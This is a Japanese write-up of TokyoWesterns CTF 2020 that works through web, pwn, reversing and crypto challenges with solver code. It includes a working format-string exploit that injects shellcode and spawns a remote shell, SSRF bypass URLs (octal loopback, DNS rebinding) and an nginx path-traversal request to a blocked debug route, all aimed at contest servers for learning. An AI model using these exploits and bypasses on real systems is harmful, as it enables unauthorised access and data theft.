TokyoWesterns CTF 6th 2020 write-up

https://score.ctf.westerns.tokyo/

1209点、43位。難しくない？？？

![score.ctf.westerns.tokyo_problems_locale=ja(capture (1440)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/20032256-7e40-ba67-4831-dcbff9a9e3cd.png)

### Welcome (Warmup)

> フラグは TWCTF{Welcome_to_TWCTF_2020!!!} です。

`TWCTF{Welcome_to_TWCTF_2020!!!}`

### urlcheck v1 (Web, Warmup)

```app.py
import os, re, requests, flask
from urllib.parse import urlparse

app = flask.Flask(__name__)
app.flag = '***CENSORED***'
app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
    matches = app.re_ip.match(ip)
    if matches == None:
        return False

    ip = list(map(int, matches.groups()))
    if any(i > 255 for i in ip) == True:
        return False
    # Stay out of my private!
    if ip[0] in [0, 10, 127] \
        or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \
        or (ip[0] == 169 and ip[1] == 254) \
        or (ip[0] == 192 and ip[1] == 168):
        return False
    return True

def get(url, recursive_count=0):
    r = requests.get(url, allow_redirects=False)
    if 'location' in r.headers:
        if recursive_count > 2:
            return '&#x1f914;'
        url = r.headers.get('location')
        if valid_ip(urlparse(url).netloc) == False:
            return '&#x1f914;'
        return get(url, recursive_count + 1) 
    return r.text

@app.route('/admin-status')
def admin_status():
    if flask.request.remote_addr != '127.0.0.1':
        return '&#x1f97a;'
    return app.flag

@app.route('/check-status')
def check_status():
    url = flask.request.args.get('url', '')
    if valid_ip(urlparse(url).netloc) == False:
        return '&#x1f97a;'
    return get(url)
 :
```

`valid_ip`のチェックを回避しつつ、/admin-statusにアクセスさせれば良い。http://問題サーバーのIPアドレス/admin-status は、`flast.request.remote_addr`が`127.0.0.1`にならないのでダメ。

IPアドレスの表記は色々とあるので回避はできそうだが、正規表現で`.`区切りの4個の数字に限定されている → 8進数。 http://0177.0.0.1/admin-status 。

`TWCTF{4r3_y0u_r34dy?n3x7_57463_15_r34l_55rf!}`

### nothing more to say 2020 (Pwn, Warmup)

```nothing.c
// gcc -fno-stack-protector -no-pie -z execstack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init_proc() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}

void read_string(char* buf, size_t length) {
    ssize_t n;
    n = read(STDIN_FILENO, buf, length);
    if (n == -1)
        exit(1);
    buf[n] = '\0';
}

int main(void) {
    char buf[0x100]; 
    init_proc();
    printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n");
    while (1) {
        printf("> ");
        read_string(buf, 0x100);
        if (buf[0] == 'q')
            break;
        printf(buf);
    }
    return 0;
}
```

書式文字列攻撃。コンパイルオプションは、スタックガード無し、PIE無し、スタック（とその他の領域）実行可能なので何でもできる。スタックバッファオーバーフローの脆弱性は無いけど。libcは提供されていないので、libcの情報無しで解けるのでしょう。.bss（のあるページ）にシェルコードを書き込んで、GOTの`printf`のアドレスをシェルコードのアドレスに書き換えた。一度に書き込もうとすると書式文字列が長すぎるので注意。

```attack.py
from pwn import *

context.binary = "nothing"

s = remote("pwn02.chal.ctf.westerns.tokyo", 18247)

# https://www.exploit-db.com/exploits/42179
shell = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
for i in range(0, 24, 8):
  s.writeafter("> ", fmtstr.fmtstr_payload(6, {0x601f00+i: unpack(shell[i:i+8])}))
s.writeafter("> ", fmtstr.fmtstr_payload(6, {0x601028: 0x601f00}))
s.recv(9999)

s.interactive()
```

```shell-session
$ python3 attack.py
[*] '/mnt/d/documents/ctf/tokyowesterns2020/nothing more to say 2020/nothing'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to pwn02.chal.ctf.westerns.tokyo on port 18247: Done
[*] Switching to interactive mode
$ ls -al
total 24
drwxr-x--- 2 root nothing 4096 Sep 18 19:45 .
drwxr-xr-x 9 root root    4096 Sep 19 00:28 ..
-rw-r----- 1 root nothing   52 Sep 18 15:53 flag.txt
-rwxr-x--- 1 root nothing 8632 Sep 18 15:53 nothing
$ cat flag.txt
TWCTF{kotoshi_mo_hazimarimasita_TWCTF_de_gozaimasu}
```

`TWCTF{kotoshi_mo_hazimarimasita_TWCTF_de_gozaimasu}`

### Reversing iS Amazing (Reverse, Warmup)

問題名の大文字の通り、入力されたフラグをOpenSSLを使ってRSAの秘密鍵で暗号化し、内部に持っている暗号文と等しくなっているか調べている。RSAの秘密鍵はプログラム中にそのまま入っている。暗号化文は`mov byte ptr...`で作っているので切り貼り。動かしてメモリから抜いたほうが楽かと思ったけど、GDBは対策がされている？　秘密鍵と暗号文が分かるので単に復号すれば良い。`openssl`コマンドの使い方が難しいな。秘密鍵で復号するのは`-verify`か。

```shell-session
$ openssl rsautl -verify -inkey key -keyform der < enc > dec
$ cat dec
TWCTF{Rivest_Shamir_Adleman}
```

`TWCTF{Rivest_Shamir_Adleman}`

### easy-hash (Crypto, Warmup)

```main.py
import struct
import os   

MSG = b'twctf: please give me the flag of 2020'

assert os.environ['FLAG']

def easy_hash(x):
    m = 0
    for i in range(len(x) - 3):
        m += struct.unpack('<I', x[i:i + 4])[0]
        m = m & 0xffffffff
    return m

def index(request):
    message = request.get_data()
    if message[0:7] != b'twctf: ' or message[-4:] != b'2020':
        return b'invalid message format: ' + message

    if message == MSG:
        return b'dont cheet'
    
    msg_hash = easy_hash(message)
    expected_hash = easy_hash(MSG)
    if msg_hash == expected_hash:
        return 'Congrats! The flag is ' + os.environ['FLAG']
    return 'Failed: easy_hash({}) is {}. but expected value is {}.'.format(message, msg_hash, expected_hash)
```

`MSG`と内容が異なり、`easy_hash`によるハッシュ値が同じになる文字列を与えれば良い。先頭と末尾以外のバイトは4回足されるのだから、どこかを1増やして、どこかを1減らしても、ハッシュ値は変わらない。例えば、`give`を`hhve`。

```shell-session
$ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: please hhve me the flag of 2020'
Congrats! The flag is TWCTF{colorfully_decorated_dream}
```

`TWCTF{colorfully_decorated_dream}`

### urlcheck v2 (Web)

```app.py
import os, re, time, ipaddress, socket, requests, flask
from urllib.parse import urlparse

app = flask.Flask(__name__)
app.flag = '***CENSORED***'

def valid_ip(ip):
    try:
        result = ipaddress.ip_address(ip)
        # Stay out of my private!
        return result.is_global
    except:
        return False

def valid_fqdn(fqdn):
    return valid_ip(socket.gethostbyname(fqdn))

def get(url, recursive_count=0):
    r = requests.get(url, allow_redirects=False)
    if 'location' in r.headers:
        if recursive_count > 2:
            return '&#x1f914;'
        url = r.headers.get('location')
        if valid_fqdn(urlparse(url).netloc) == False:
            return '&#x1f914;'
        return get(url, recursive_count + 1)
    return r.text

@app.route('/admin-status')
def admin_status():
    if flask.request.remote_addr != '127.0.0.1':
        return '&#x1f97a;'
    return app.flag

@app.route('/check-status')
def check_status():
    url = flask.request.args.get('url', '')
    if valid_fqdn(urlparse(url).netloc) == False:
        return '&#x1f97a;'
    return get(url)
 :
```

```py
loc = urlparse(url).netloc
ip = socket.gethostbyname(loc)
is_global = ipaddress.ip_address(ip).is_global
```

で、`is_global`が真となるような`url`を与えれば良い。そもそも、`netloc`を取っているのがおかしい。これはホスト名を取り出すものではない。

```
>>> urlparse("http://id:pass@example.com:1234/path?param=value#hash").netloc
'id:pass@example.com:1234'
```

この辺で何かできるのかと思ったけど、ドメイン名として正しくてIPアドレスが引ける文字列でないと、`gethostbyname`が例外を吐いてしまう。

DNS Rebinding。便利なサイトがある。

https://lock.cmpxchg8b.com/rebinder.html

http://08080808.7f000001.rbndr.us/admin-status を入力すると、`gethostbyname`による初回のDNS解決では8.8.8.8が短いTTLで返り、`requests.get`によるDNS解決では127.0.0.1が返る。

別解。

<blockquote class="twitter-tweet" data-conversation="none"><p lang="ja" dir="ltr">自分のドメインに次のAレコードを割り当てる：<br>ss.{domain name} → 適当なグローバルIPアドレス<br>xn--zca.{domain name} → 127.0.0.1<br><br>ß.{domain name}/admin-statusを投げる</p>&mdash; Ark (@arkark_) <a href="https://twitter.com/arkark_/status/1307841591269142528?ref_src=twsrc%5Etfw">September 21, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

`TWCTF{17_15_h4rd_70_55rf_m17164710n_47_4pp_l4y3r:(}`

### Angular of the Universe (Web)

フラグが2個。どちらも解けなかった。

ソースコードが多くてつらいな……。docker-compose.ymlによると、フラグは環境変数`FLAG`と`FLAG2`で渡している。`FLAG`をgrepすると、1個目は/debug/answerにアクセスすると出てくることが分かる。ただし、リバースプロキシのnginxで/debugは止められている。

```nginx.conf
server {
  listen 8080 default_server;

  root /var/www/html;

  server_name _;

  location / {
    proxy_pass http://app;
    proxy_set_header Host $host;
  }
  location /debug {
    # IP address restriction.
    # TODO: add allowed IP addresses here
    allow 127.0.0.1;
    deny all;
  }
}
```

nginxの`proxy_pass`は、末尾の`/`の有無で挙動が変わる。

http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass

nginxの`location`などの判定は、`/../`などを解釈した後で行われる。`proxy_pass`の末尾にこの問題のように`/`を付けないと、解釈する前のURLがそのまま渡される。例えば、

```shell-session
$ curl --path-as-is 'http://universe.chal.ctf.westerns.tokyo/debug/answer/../../'
```

とすると、`/`と解釈して`location /debug`のチェックをスルーし、 http://app/debug/answer/../../ の結果を返す。で……？　これだと奥のアプリも`/`の結果を返すので何の意味も無い（ただ、`/`にアクセスした場合と異なり、index.htmlが返ってくるのが気にはなる）。

> 09:01 (terjanq) GET /\%64ebug/answer

IRCによると、`/\%64ebug/answer`でいけるらしい。何がどう動いているか全く分からないな……。`/%64ebug/answer`はnginxで弾かれる。`/\debug/answer`は奥のアプリがフラグを返さない。

`TWCTF{ky0-wa-dare-n0-donna-yume-ni?kurukuru-mewkledreamy!}`

2個目のフラグは、`/api/true-answer`を内部から叩けば取れる。でも、server side requestは、

```answer.server.ts
  getAnswer() {
    return this.http.get('/api/answer')
  }
```

しかないし。どうしろと……？

https://gist.github.com/tyage/9039f0a9faba6d62ebd0a412b8e176a3

作問者の解説があったわ。なるほど。

### smash (Pwn)

解けなかった。

書式文字列攻撃。ただし、Intel CETが有効。

[【pwn 36\.0】Intel CETが、みんなの恋人ROPを殺す \- newbieからバイナリアンへ](https://smallkirby.hatenablog.com/entry/2020/09/10/230629)

（ROPではないけど）殺されるのではないのか……？

### Tamarin (Reverse)

Xamarin。

https://github.com/tjg1/mono_unbundle

でdllを引っこ抜いて、dnSpyで読める。

```cpp
uint32 equation[22][33];

for (int i=0; i<22; i++)
{
    equation[i][0] = unpack(flag[i*4:i*4+4]);
    for (int j=1; j<33; j++)
        equation[i][j] = equations_arr[i][j-1];
}

for (int i=0; i<22; i++)
{
    uint32 num = rand32();
    for (int j=0; j<10000; j++)
        num = sum(equation[i][k]*num**k for k in range(32));
    if (num!=equation[i][32])
        return "NG";
}
return "OK";
```

C++とPythonが混ざった擬似コードで書くとこんな感じの処理。`num`の初期値が乱数……？　でも、この処理はフラグが正しければ、常に`"OK"`を返すはずである。`num`の初期値がどんな値でもフラグが正しければ`"OK"`を返すはず。良く見ると、`equations_arr`の（最後の要素以外の）値は全て偶数。2の倍数を何回も掛けられて、途中で初期の乱数分は消えるはず。

後はフラグを4バイトずつ総当たり……してみたけど、最初の4バイト分すら終わらない。`num**k`を`j`のループごとに`num`を掛けていくように工夫することで、`num**k`の中でのループが消える。これで1時間くらいで最初の4バイトが計算できた。コンテストが終わってしまう。考えてみれば、`num`の初期値の乱数の影響が消えるという話は、初期値以外にも適用できて、10000回もループする必要はない。

```solve.cpp
#include <stdio.h>
#include <vector>
using namespace std;

unsigned int C[22][32] = {
    {2921822136u, 1060277104u, 2035740900u, 823622198u, 210968592u, 3474619224u, 3252966626u, 1671622480u, 1174723606u, 3830387194u, 2514889364u, 3125636774u, 896423784u, 4164953836u, 2838119626u, 2523117444u, 1385864710u, 3157438448u, 132542958u, 4108218268u, 314662132u, 432653936u, 1147047258u, 1802950730u, 67411056u, 1207641174u, 1920298940u, 2947533900u, 3468512014u, 3485949926u, 3695085832u, 3903653528u},
    {463101660u, 3469888460u, 2006842986u, 144738028u, 630007230u, 3440652086u, 2322916652u, 2227002010u, 1163469256u, 23859328u, 2322597530u, 3716255122u, 2876706098u, 713374856u, 2345958624u, 3496771192u, 1773957550u, 146382778u, 1141367704u, 1061893394u, 994321632u, 3407332344u, 2240786438u, 2218631702u, 2906647610u, 1919308420u, 2136654012u, 164975906u, 2834189362u, 3118478912u, 3258673870u, 3211411825u},
    {2558729100u, 1170420958u, 2355877954u, 3593652986u, 2587766164u, 2271696650u, 1560549496u, 132089692u, 2893757564u, 3469624876u, 10109206u, 2948199026u, 4170042296u, 2717317064u, 4210960804u, 93756380u, 2006217436u, 2988057920u, 2251383150u, 226355976u, 579516546u, 3915017586u, 1273838010u, 2852178952u, 4272774672u, 1006507228u, 3595131622u, 1880597220u, 1230996622u, 2542910224u, 917668128u, 1612363977u},
    {3637139654u, 2593663532u, 649194106u, 4275630476u, 2730487128u, 905133820u, 2868808700u, 1284610026u, 1051455306u, 272375560u, 1219428572u, 163965224u, 3899483864u, 309833108u, 1862243284u, 1919038730u, 3414916994u, 3134382762u, 2018925234u, 3467081876u, 4045123308u, 4244105094u, 4205568254u, 1793827648u, 257732384u, 2092183712u, 3517540150u, 2641565070u, 2181538960u, 2670634300u, 2070334778u, 1995308868u},
    {561434200u, 2730097174u, 1499965472u, 760244614u, 1588114416u, 521516362u, 2963707630u, 1896166800u, 411250470u, 1601999958u, 2973942456u, 3027806424u, 1238337602u, 1380721280u, 122976200u, 788897864u, 3589391734u, 1987301254u, 1085198712u, 3553616586u, 1994354546u, 1684916442u, 2788234788u, 2641884090u, 612801768u, 1801824798u, 2019943314u, 3304068906u, 849354132u, 44941780u, 3473262708u, 1444837808u},
    {921974086u, 404262832u, 1353817916u, 764855648u, 2290476820u, 2023815980u, 669786172u, 791841140u, 526348842u, 2979022342u, 3656325786u, 1276970440u, 2424614726u, 1190814714u, 2804417116u, 3654263826u, 3068580996u, 1908493640u, 3101330462u, 792198672u, 1772484794u, 4050408722u, 611660842u, 1610808360u, 431629552u, 2319897718u, 3255085210u, 1426503472u, 1630566802u, 4241881448u, 1606014350u, 636517450u},
    {2906103140u, 1116553354u, 2279536366u, 3011561210u, 2641603848u, 1646150780u, 192124694u, 611421916u, 3416039786u, 4208848404u, 474397384u, 1491088256u, 3177553844u, 2042765300u, 1653674858u, 1365840538u, 1595225706u, 2705938552u, 3180386458u, 1723055560u, 2280421090u, 1241156010u, 3807390206u, 2595800854u, 2890507242u, 4068903400u, 3923234634u, 2613933834u, 3927909200u, 2149793556u, 3589302752u, 802516900u},
    {171242408u, 1411016272u, 2890085382u, 624162464u, 3117870816u, 3388454296u, 3869111620u, 948964384u, 1670102044u, 3432346180u, 1670460686u, 3674313702u, 4108083090u, 915550832u, 4249135230u, 411447682u, 2915987712u, 3865207952u, 4017666788u, 275767786u, 2506858524u, 3488718446u, 1995975410u, 566166116u, 1590333384u, 329205954u, 3913164274u, 620615436u, 1464604756u, 269837028u, 963851056u, 2483789524u},
    {4043184956u, 3569779124u, 3817645374u, 4281618348u, 4144074366u, 3776223584u, 2260112022u, 2417238210u, 4004384546u, 1196429850u, 1429697170u, 3075499898u, 2507660230u, 1342925724u, 3951341456u, 229184726u, 2762396986u, 1612961426u, 986238002u, 1228690306u, 3948701236u, 1378190546u, 3106898794u, 1894874158u, 1488049036u, 3718233910u, 1078939754u, 2355898312u, 2030934192u, 2879370894u, 3017715248u, 1647621107u},
    {3849716376u, 3412391848u, 420800182u, 156925722u, 3602232204u, 2645326622u, 3864083570u, 1279782822u, 878821008u, 1906288878u, 1396282244u, 1641728726u, 2295751090u, 290937256u, 1958396986u, 2115100470u, 3706945590u, 2885002942u, 1935777480u, 1483762940u, 3589264430u, 3791465274u, 2553819596u, 2050180502u, 1381704584u, 4640270u, 628970046u, 774725214u, 2575508070u, 1330692832u, 1250987676u, 3756982724u},
    {1460953346u, 1175847424u, 3477700838u, 3783709768u, 1064663570u, 3559971784u, 3802954664u, 2431960456u, 2198986400u, 859802318u, 3783810034u, 1110187920u, 4244034440u, 1796543058u, 902449590u, 160031782u, 3639253664u, 4255746326u, 3339514496u, 218988706u, 4085181614u, 2342973726u, 1391523108u, 1120970708u, 2639842372u, 156321138u, 1587974922u, 3686627774u, 1648124740u, 2095688044u, 293533614u, 3056924137u},
    {1034259104u, 4077045412u, 789979418u, 961028604u, 2185949320u, 3457364068u, 3532291848u, 2206594748u, 3072062072u, 1796530288u, 1402389280u, 3478769990u, 196567236u, 3940435298u, 2237679842u, 668941406u, 170819894u, 1102049112u, 131349762u, 2512464482u, 4159048294u, 2186098090u, 123947608u, 1742064290u, 1711289746u, 1449132362u, 58078952u, 2976574968u, 1774398264u, 1532589156u, 4089484268u, 4041979478u},
    {3681899832u, 4208608358u, 1951338724u, 3772673566u, 3160075610u, 1422174080u, 2431526454u, 529884656u, 2722748162u, 236192616u, 2684139926u, 697549902u, 3546454434u, 1921398338u, 1310272304u, 1691292498u, 4134700116u, 720619430u, 2592536546u, 2188997288u, 2461521148u, 455077540u, 1421274126u, 1052585740u, 2383754190u, 1567602170u, 3773864138u, 4036579298u, 2416620860u, 1931099884u, 2051263696u, 310763286u},
    {1461705722u, 968835462u, 2563821358u, 576185928u, 1613137824u, 940353300u, 652295412u, 1135005196u, 3607866196u, 3307698550u, 3916080186u, 4052934590u, 3991167852u, 3799175976u, 3393348946u, 950814766u, 2174463160u, 2422320256u, 959545514u, 2820210140u, 4284041840u, 3082466322u, 1257510060u, 2676710840u, 127465314u, 3887977956u, 3218198116u, 957094088u, 1409365960u, 2217798938u, 277108032u, 2579736592u},
    {3776055232u, 823459706u, 1913270776u, 1721511850u, 633354432u, 3901765934u, 2089017122u, 1103648570u, 3791238880u, 1686042442u, 1567720048u, 2924815412u, 1695861754u, 3641036796u, 1208391908u, 1593134050u, 1674288590u, 2322785248u, 2472109738u, 3572933674u, 3828029068u, 1641647380u, 4116180236u, 3884220004u, 3146594508u, 3587030908u, 3451856524u, 2965945264u, 162291656u, 2061732942u, 1551591510u, 4014200221u},
    {3406794856u, 3181753846u, 2984888850u, 1748566984u, 1311737108u, 3415409722u, 2398926736u, 2006269026u, 3117725174u, 2901254050u, 2733703362u, 1595001962u, 106879068u, 3933136528u, 245096038u, 666024082u, 134803296u, 1657783988u, 3429228290u, 2120419114u, 2879013028u, 9653606u, 305704628u, 3793128986u, 369835124u, 2274924880u, 4233339440u, 2224753480u, 2427854922u, 1808326540u, 1833703938u, 2391461119u},
    {1827597388u, 454565514u, 1282880792u, 561174442u, 3610484436u, 2327669348u, 765794442u, 3705161518u, 1715916192u, 292859360u, 183730846u, 3298097994u, 3535037218u, 2904849282u, 348832662u, 1856773750u, 3618335118u, 3017093112u, 3354956190u, 3208811970u, 897522204u, 2835584374u, 3097985334u, 2108903166u, 3230714490u, 2597789348u, 1597521406u, 1663858876u, 94923994u, 883872856u, 3230397040u, 3420763893u},
    {4065160224u, 2129787468u, 3456903512u, 2860656238u, 2663588170u, 3224900102u, 2827778318u, 2685874320u, 2005737334u, 586304716u, 472376412u, 2938324550u, 3459137716u, 3422216092u, 3082124658u, 1173945064u, 842495374u, 2564495050u, 357433170u, 2050324102u, 1138367532u, 854845936u, 3054001576u, 2465772674u, 2305389082u, 3669610606u, 3527889292u, 3817664802u, 4238531160u, 1556372762u, 777986002u, 1126454981u},
    {764733144u, 3965849612u, 1668893328u, 2104626056u, 1653642872u, 2883395356u, 3015268318u, 2322404760u, 1185726976u, 1607036694u, 3064704530u, 3639372768u, 1252489394u, 3950622630u, 3889240956u, 233990458u, 2393973872u, 3609439896u, 2108036182u, 152726882u, 3730671578u, 3038534682u, 3388044150u, 3128791454u, 2499312664u, 3396894570u, 2872225186u, 3048419004u, 2864782986u, 3169897264u, 2890258816u, 753842003u},
    {2403595118u, 2093259638u, 2763900156u, 3772789760u, 3282639530u, 2884294140u, 3879894514u, 2512089226u, 318451120u, 2464691316u, 2179668204u, 795049786u, 326585310u, 1313213364u, 3437852224u, 4055872768u, 1224395344u, 1911910472u, 983774674u, 3804144712u, 3208317764u, 1534290234u, 3243577720u, 617743358u, 378252266u, 3612369740u, 1924240610u, 961715850u, 2058485164u, 1460892148u, 2613095898u, 73199927u},
    {3093631524u, 2704600210u, 3519611266u, 5414320u, 3358912704u, 2462642760u, 3764896542u, 1253645320u, 4034052234u, 3137650284u, 4083324920u, 2667059126u, 436316958u, 497182460u, 404768030u, 1122443700u, 432434942u, 443290780u, 3487257114u, 2699955512u, 4250049274u, 3991832458u, 1037538700u, 3125332984u, 1533312690u, 1452437348u, 1283257518u, 3946567854u, 716640500u, 2417637998u, 3063327834u, 82885668u},
    {1985108u, 1694522756u, 4205785758u, 333118606u, 2944637686u, 2196892858u, 4092971632u, 83374602u, 4049383084u, 2980843496u, 1801648602u, 2639009750u, 1944350566u, 3046229260u, 2662687100u, 2423732014u, 4179240348u, 1035280058u, 1015236846u, 3488976898u, 1530833166u, 3723596058u, 4125718292u, 1095267878u, 3635353922u, 2932904358u, 2764606674u, 45921060u, 3107074868u, 4198045636u, 1923836480u, 366302822u}
};

int main()
{
    vector<int> F;
    F.push_back(0);
    for (int i=0x20; i<0x7f; i++)
        F.push_back(i);

    for (int ci=0; ci<22; ci++)
    {
        for (int f1: F)
        for (int f2: F)
        for (int f3: F)
        for (int f4: F)
        {
            unsigned int f = f4<<24|f3<<16|f2<<8|f1;
            unsigned num = 1234;
            for (int i=0; i<100; i++)
            {
                unsigned int num2 = f;
                unsigned int x = 1;
                for (int i=0; i<31; i++)
                {
                    x *= num;
                    num2 += C[ci][i]*x;
                }
                num = num2;
            }
            if (num==C[ci][31])
            {
                printf("%c%c%c%c", f1, f2, f3, f4);
                goto end;
            }
        }
        printf("\n?\n");
        end:;
    }
    printf("\n");
}
```

`TWCTF{Xm4r1n_15_4bl3_70_6en3r4t3_N471v3_C0d3_w17h_VS_3n73rpr153_bu7_17_c0n741n5_D07_N3t_B1n4ry}`

### sqrt (Crypto)

こういうシンプルな問題が好き。

```chall.py
from Crypto.Util.number import bytes_to_long, isPrime
from secret import flag, p


def encrypt(m, k, p):
    return pow(m, 1 << k, p)


assert flag.startswith("TWCTF{")
assert len(flag) == 42
assert isPrime(p)

k = 64
pt = bytes_to_long(flag.encode())
ct = encrypt(pt, k, p)

with open("output.txt", "w") as f:
    f.write(str(ct) + "\n")
    f.write(str(p) + "\n")
```

$e=2^{64}$として、$ct = pt^e \mod p$。RSAのように、$d=\phi(p)=p-1$として、$ct^d$を計算すれば良いだろうか。ところで、$p$は`0x2564...e8c0000001`。$p-1$が約数に$2^{30}$を持つので、$ct^d = pt^{0x40000000} \mod p$。

https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm

Mod上で平方根を計算するアルゴリズムがあった。理論は分からないが、アルゴリズムをコピペ。これを30回繰り返せば良い。ただし、$x$が平方根ならば$-x$も平方根になりうる。まあ、$2^{30}$通りだし全通り試せばいいか → 全然終わらない。

4個の4乗根$a$, $b$, $c$, $d$を求めることを考える。$a=-b$, $c=-d$, $a^2=-c^2$。$a$から$c$に求めようとすると、$c=\sqrt{-1}a = ia$。-1の0x20000000乗根を掛けていけば良いのかな。複素平面上で$\omega$を掛けてぐるぐるするイメージ。

```solve.py
from Crypto.Util.number import long_to_bytes, inverse
import random, math

ct = 5602276430032875007249509644314357293319755912603737631044802989314683039473469151600643674831915676677562504743413434940280819915470852112137937963496770923674944514657123370759858913638782767380945111493317828235741160391407042689991007589804877919105123960837253705596164618906554015382923343311865102111160
p = 6722156186149423473586056936189163112345526308304739592548269432948561498704906497631759731744824085311511299618196491816929603296108414569727189748975204102209646335725406551943711581704258725226874414399572244863268492324353927787818836752142254189928999592648333789131233670456465647924867060170327150559233

d = inverse(2**64, p-1)
n = pow(ct, d, p)
# n = pt**0x40000000 (mod p)

S = 30
Q = p//2**S

random.seed(1234)

def tonelli_shanks(n):
  z = 0
  while pow(z, (p-1)//2, p)!=p-1:
    z = random.randint(0, p-1)
  M = S
  c = pow(z, Q, p)
  t = pow(n, Q, p)
  R = pow(n, (Q+1)//2, p)
  while True:
    if t==0:
      return 0
    if t==1:
      return R
    i = 0
    while (pow(t, 2**i, p)!=1):
      i += 1
    if M-i-1<0:
      return 0
    b = pow(c, 2**(M-i-1), p)
    M = i
    c = b**2%p
    t = t*b**2%p
    R = R*b%p

pt = n
for i in range(S):
  pt = tonelli_shanks(pt)
assert pow(pt, 2**S, p)==n

d = p-1
for i in range(S-1):
  d = tonelli_shanks(d)

c = 0
for i in range(2**S):
  if c%1000000==0:
    print("%.2f%%"%(c/2**S*100))
  c += 1

  flag = long_to_bytes(pt)
  if len(flag)==42 and flag.startswith(b"TWCTF{"):
    print(flag.decode())
    break

  pt = pt*d%p
```

```shell-session
$ python3 solve.py
0.00%
0.09%
0.19%
0.28%
0.37%
 :
18.53%
18.63%
TWCTF{17s_v3ry_34sy_70_f1nd_th3_n_7h_r007}
```

`TWCTF{17s_v3ry_34sy_70_f1nd_th3_n_7h_r007}`

### twin-d (Crypto)

```task.rb
require 'json'
require 'openssl'

p = OpenSSL::BN::generate_prime(1024).to_i
q = OpenSSL::BN::generate_prime(1024).to_i

while true
    d = OpenSSL::BN::generate_prime(1024).to_i
    break if ((p - 1) * (q - 1)).gcd(d) == 1 && ((p - 1) * (q - 1)).gcd(d + 2) == 1
end

e1 = OpenSSL::BN.new(d).mod_inverse(OpenSSL::BN.new((p - 1) * (q - 1))).to_i
e2 = OpenSSL::BN.new(d + 2).mod_inverse(OpenSSL::BN.new((p - 1) * (q - 1))).to_i

flag = File.read('flag.txt')
msg = OpenSSL::BN.new(flag.unpack1("H*").to_i(16))
n = OpenSSL::BN.new(p * q)
enc = msg.mod_exp(OpenSSL::BN.new(e1), n)

puts ({ n: (p*q).to_s, e1: e1.to_s, e2: e2.to_s, enc: enc.to_s }).to_json
```

`d`と`d+2`のどちらも`(p-1)*(q-1)`と互いに素である`d`を探して、普通とは逆に`d`から`e`を求めて、RSA。同一の`n`と`msg`を異なる`e1`と`e2`で暗号化しているのだから、Common Modulus Attackができ……ない。与えられるのは`e1`で暗号化した暗号文だけだった。

$e_1$と$d$に成り立つ性質は、$e_1d=1 \mod n$である。同様に$e_2(d+2)=1 \mod n$。また、拡張ユークリッドの互除法を使うと、$xe_1+ye_2=1$が成り立つような$x$と$y$が求められる。これらを使って、

```math
xe_1d = x \\
ye_2d + 2ye_2d = y \\
(xe_1d + ye_2)d + 2ye_2 = x + y \\
d + 2ye_2 = x + y \\
d = x + y - 2ye_2
```

```solve.py
import json, sys
from Crypto.Util.number import *

sys.setrecursionlimit(99999999)

x = json.load(open("output"))
n = int(x["n"])
e1 = int(x["e1"])
e2 = int(x["e2"])
enc = int(x["enc"])

# x,y,d = exgcd(m, n)
# x*m+y*n = d = gcd(m, n)
def exgcd(m, n):
  if n>0:
    y,x,d = exgcd(n, m%n)
    return x, y-m//n*x, d
  else:
    return 1, 0, m

x, y, _d = exgcd(e1, e2)
d = x+y-y*2*e2
flag = pow(enc, d, n)
print(long_to_bytes(flag).decode())
```

`TWCTF{even_if_it_is_f4+e}`

### The Melancholy of Alice (Crypto)

解けなかった。

```ecnrypt.py
from Crypto.Util.number import getStrongPrime, getRandomRange

N = 1024


def generateKey():
    p = getStrongPrime(N)
    q = (p - 1) // 2
    x = getRandomRange(2, q)
    g = 2
    h = pow(g, x, p)
    pk = (p, q, g, h)
    sk = x
    return (pk, sk)


def encrypt(m, pk):
    (p, q, g, h) = pk
    r = getRandomRange(2, q)
    c1 = pow(g, r, p)
    c2 = m * pow(h, r, p) % p
    return (c1, c2)


def main():
    with open("flag.txt") as f:
        flag = f.read().strip()

    pk, sk = generateKey()
    with open("publickey.txt", "w") as f:
        f.write(f"p = {pk[0]}\n")
        f.write(f"q = {pk[1]}\n")
        f.write(f"g = {pk[2]}\n")
        f.write(f"h = {pk[3]}\n")

    with open("ciphertext.txt", "w") as f:
        for m in flag:
            c = encrypt(ord(m), pk)
            f.write(f"{c}\n")


if __name__ == "__main__":
    main()
```

ElGamal暗号。平文は1文字ずつで小さいが、ElGamal暗号では乱数も使っているので総当たりはできない。

`p`もちゃんと`getStrongPrime`で安全素数を使っている……かと思ったら使っていない。[getStrongPrime](https://www.dlitz.net/software/pycrypto/api/current/Crypto.Util.number-module.html#getStrongPrime)は、`p-1`が「at least one large prime factor」を持つ素数を返すのであって、`(p-1)/2`が素数であることは保証していない。実際この問題の`p`は、`p-1`が2, 3, 5, 19, 5710354319を約数に持っている。

これで何ができるかググっていると、この論文が出てきた。

https://lib.dr.iastate.edu/cgi/viewcontent.cgi?article=2577&context=etd

ElGamal暗号の$c_2 = mg^{rx}$について、$g^a$で生成される要素の個数（$g$の位数）が小さくなり、$m$が$g$から生成されないときに脆弱になる。$g$の位数を$n$として、$c_2^n=m^ng^{rxn}=m^n(g^n)^{rx}=m^n$。あとは$m$を総当たりすればOK。「n can be computed efficiently」としか書かれていなくて、実際の求め方が分からないのだが……。まあ、$n$は$p-1$の約数ではあるので、$p-1$の約数を色々試せば良いだろう。と試したが、$g^n=1$となるような$n$が無かった。分からん。

### Birds (Misc)

解けなかった。

> TWCTF{
> 
> BC552
> AC849
> JL106
> PQ448
> JL901
